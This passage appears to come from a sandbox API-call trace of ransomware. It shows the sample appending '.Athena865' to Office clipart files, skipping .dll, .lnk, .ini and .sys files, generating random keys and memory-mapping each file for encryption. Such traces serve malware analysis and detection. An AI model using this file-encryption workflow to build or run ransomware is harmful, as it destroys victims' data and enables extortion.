(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.athena865"), dwFlags=0x1) returned 1 [0130.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.451] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6656) returned 1 [0130.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.452] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.452] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.452] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.453] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x154 [0130.454] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x100000 [0130.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.455] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.455] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.456] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309904.WMF" | out: lpString1="J0309904.WMF") returned="J0309904.WMF" [0130.456] lstrlenW (lpString="J0309904.WMF") returned 12 [0130.456] lstrlenW (lpString="Athena865") returned 9 [0130.456] lstrcmpiW (lpString1="09904.WMF", lpString2="Athena865") returned -1 [0130.456] lstrlenW (lpString=".dll") returned 4 [0130.456] lstrcmpiW (lpString1="J0309904.WMF", lpString2=".dll") returned 1 [0130.456] lstrlenW (lpString=".lnk") returned 4 [0130.456] lstrcmpiW (lpString1="J0309904.WMF", lpString2=".lnk") returned 1 [0130.456] lstrlenW (lpString=".ini") returned 4 [0130.456] lstrcmpiW (lpString1="J0309904.WMF", lpString2=".ini") returned 1 [0130.456] lstrlenW (lpString=".sys") returned 4 [0130.456] lstrcmpiW (lpString1="J0309904.WMF", lpString2=".sys") returned 1 [0130.456] lstrlenW (lpString="J0309904.WMF") returned 12 [0130.457] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.Athena865") returned 73 [0130.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.athena865"), dwFlags=0x1) returned 1 [0130.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.458] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8420) returned 1 [0130.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.458] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.459] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.459] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.459] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23f0, lpName=0x0) returned 0x154 [0130.461] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23f0) returned 0x100000 [0130.462] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.463] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.463] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309920.WMF" | out: lpString1="J0309920.WMF") returned="J0309920.WMF" [0130.464] lstrlenW (lpString="J0309920.WMF") returned 12 [0130.464] lstrlenW (lpString="Athena865") returned 9 [0130.464] lstrcmpiW (lpString1="09920.WMF", lpString2="Athena865") returned -1 [0130.464] lstrlenW (lpString=".dll") returned 4 [0130.464] lstrcmpiW (lpString1="J0309920.WMF", lpString2=".dll") returned 1 [0130.464] lstrlenW (lpString=".lnk") returned 4 [0130.464] lstrcmpiW (lpString1="J0309920.WMF", lpString2=".lnk") returned 1 [0130.464] lstrlenW (lpString=".ini") returned 4 [0130.464] lstrcmpiW (lpString1="J0309920.WMF", lpString2=".ini") returned 1 [0130.464] lstrlenW (lpString=".sys") returned 4 [0130.464] lstrcmpiW (lpString1="J0309920.WMF", lpString2=".sys") returned 1 [0130.464] lstrlenW (lpString="J0309920.WMF") returned 12 [0130.464] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.Athena865") returned 73 [0130.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.athena865"), dwFlags=0x1) returned 1 [0130.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.466] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11064) returned 1 [0130.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.466] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.467] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.467] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.467] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e40, lpName=0x0) returned 0x154 [0130.469] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e40) returned 0x100000 [0130.470] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.470] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.470] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.471] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0313896.JPG" | out: lpString1="J0313896.JPG") returned="J0313896.JPG" [0130.471] lstrlenW (lpString="J0313896.JPG") returned 12 [0130.471] lstrlenW (lpString="Athena865") returned 9 [0130.471] lstrcmpiW (lpString1="13896.JPG", lpString2="Athena865") returned -1 [0130.471] lstrlenW (lpString=".dll") returned 4 [0130.471] lstrcmpiW (lpString1="J0313896.JPG", lpString2=".dll") returned 1 [0130.471] lstrlenW (lpString=".lnk") returned 4 [0130.471] lstrcmpiW (lpString1="J0313896.JPG", lpString2=".lnk") returned 1 [0130.471] lstrlenW (lpString=".ini") returned 4 [0130.471] lstrcmpiW (lpString1="J0313896.JPG", lpString2=".ini") returned 1 [0130.471] lstrlenW (lpString=".sys") returned 4 [0130.471] lstrcmpiW (lpString1="J0313896.JPG", lpString2=".sys") returned 1 [0130.471] lstrlenW (lpString="J0313896.JPG") returned 12 [0130.471] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.Athena865") returned 73 [0130.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.athena865"), dwFlags=0x1) returned 1 [0130.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.473] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37146) returned 1 [0130.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.474] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.475] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.475] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.475] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9420, lpName=0x0) returned 0x154 [0130.476] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9420) returned 0x100000 [0130.479] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.480] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.480] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.481] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0313965.JPG" | out: lpString1="J0313965.JPG") returned="J0313965.JPG" [0130.481] lstrlenW (lpString="J0313965.JPG") returned 12 [0130.481] lstrlenW (lpString="Athena865") returned 9 [0130.481] lstrcmpiW (lpString1="13965.JPG", lpString2="Athena865") returned -1 [0130.481] lstrlenW (lpString=".dll") returned 4 [0130.481] lstrcmpiW (lpString1="J0313965.JPG", lpString2=".dll") returned 1 [0130.481] lstrlenW (lpString=".lnk") returned 4 [0130.481] lstrcmpiW (lpString1="J0313965.JPG", lpString2=".lnk") returned 1 [0130.481] lstrlenW (lpString=".ini") returned 4 [0130.481] lstrcmpiW (lpString1="J0313965.JPG", lpString2=".ini") returned 1 [0130.481] lstrlenW (lpString=".sys") returned 4 [0130.481] lstrcmpiW (lpString1="J0313965.JPG", lpString2=".sys") returned 1 [0130.481] lstrlenW (lpString="J0313965.JPG") returned 12 [0130.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.Athena865") returned 73 [0130.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.athena865"), dwFlags=0x1) returned 1 [0130.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.483] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42842) returned 1 [0130.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.483] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.484] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.484] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.484] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa60, lpName=0x0) returned 0x154 [0130.488] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa60) returned 0x100000 [0130.490] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.491] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.491] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.493] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0313970.JPG" | out: lpString1="J0313970.JPG") returned="J0313970.JPG" [0130.493] lstrlenW (lpString="J0313970.JPG") returned 12 [0130.493] lstrlenW (lpString="Athena865") returned 9 [0130.493] lstrcmpiW (lpString1="13970.JPG", lpString2="Athena865") returned -1 [0130.493] lstrlenW (lpString=".dll") returned 4 [0130.493] lstrcmpiW (lpString1="J0313970.JPG", lpString2=".dll") returned 1 [0130.493] lstrlenW (lpString=".lnk") returned 4 [0130.493] lstrcmpiW (lpString1="J0313970.JPG", lpString2=".lnk") returned 1 [0130.493] lstrlenW (lpString=".ini") returned 4 [0130.493] lstrcmpiW (lpString1="J0313970.JPG", lpString2=".ini") returned 1 [0130.493] lstrlenW (lpString=".sys") returned 4 [0130.493] lstrcmpiW (lpString1="J0313970.JPG", lpString2=".sys") returned 1 [0130.493] lstrlenW (lpString="J0313970.JPG") returned 12 [0130.493] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.Athena865") returned 73 [0130.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.athena865"), dwFlags=0x1) returned 1 [0130.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.495] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33195) returned 1 [0130.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.495] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.496] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.496] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.496] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84b0, lpName=0x0) returned 0x154 [0130.498] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84b0) returned 0x100000 [0130.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.505] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.505] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.505] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0313974.JPG" | out: lpString1="J0313974.JPG") returned="J0313974.JPG" [0130.506] lstrlenW (lpString="J0313974.JPG") returned 12 [0130.506] lstrlenW (lpString="Athena865") returned 9 [0130.506] lstrcmpiW (lpString1="13974.JPG", lpString2="Athena865") returned -1 [0130.506] lstrlenW (lpString=".dll") returned 4 [0130.506] lstrcmpiW (lpString1="J0313974.JPG", lpString2=".dll") returned 1 [0130.506] lstrlenW (lpString=".lnk") returned 4 [0130.506] lstrcmpiW (lpString1="J0313974.JPG", lpString2=".lnk") returned 1 [0130.506] lstrlenW (lpString=".ini") returned 4 [0130.506] lstrcmpiW (lpString1="J0313974.JPG", lpString2=".ini") returned 1 [0130.506] lstrlenW (lpString=".sys") returned 4 [0130.506] lstrcmpiW (lpString1="J0313974.JPG", lpString2=".sys") returned 1 [0130.506] lstrlenW (lpString="J0313974.JPG") returned 12 [0130.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.Athena865") returned 73 [0130.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.athena865"), dwFlags=0x1) returned 1 [0130.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47569) returned 1 [0130.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.509] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.509] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.509] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbce0, lpName=0x0) returned 0x154 [0130.510] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbce0) returned 0x100000 [0130.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.514] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.514] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.515] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0314068.JPG" | out: lpString1="J0314068.JPG") returned="J0314068.JPG" [0130.515] lstrlenW (lpString="J0314068.JPG") returned 12 [0130.516] lstrlenW (lpString="Athena865") returned 9 [0130.516] lstrcmpiW (lpString1="14068.JPG", lpString2="Athena865") returned -1 [0130.516] lstrlenW (lpString=".dll") returned 4 [0130.516] lstrcmpiW (lpString1="J0314068.JPG", lpString2=".dll") returned 1 [0130.516] lstrlenW (lpString=".lnk") returned 4 [0130.516] lstrcmpiW (lpString1="J0314068.JPG", lpString2=".lnk") returned 1 [0130.516] lstrlenW (lpString=".ini") returned 4 [0130.516] lstrcmpiW (lpString1="J0314068.JPG", lpString2=".ini") returned 1 [0130.516] lstrlenW (lpString=".sys") returned 4 [0130.516] lstrcmpiW (lpString1="J0314068.JPG", lpString2=".sys") returned 1 [0130.516] lstrlenW (lpString="J0314068.JPG") returned 12 [0130.516] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.Athena865") returned 73 [0130.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.athena865"), dwFlags=0x1) returned 1 [0130.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.518] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16626) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.519] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.520] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.520] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.520] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4400, lpName=0x0) returned 0x154 [0130.522] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4400) returned 0x100000 [0130.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.524] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.524] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.525] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0315580.JPG" | out: lpString1="J0315580.JPG") returned="J0315580.JPG" [0130.525] lstrlenW 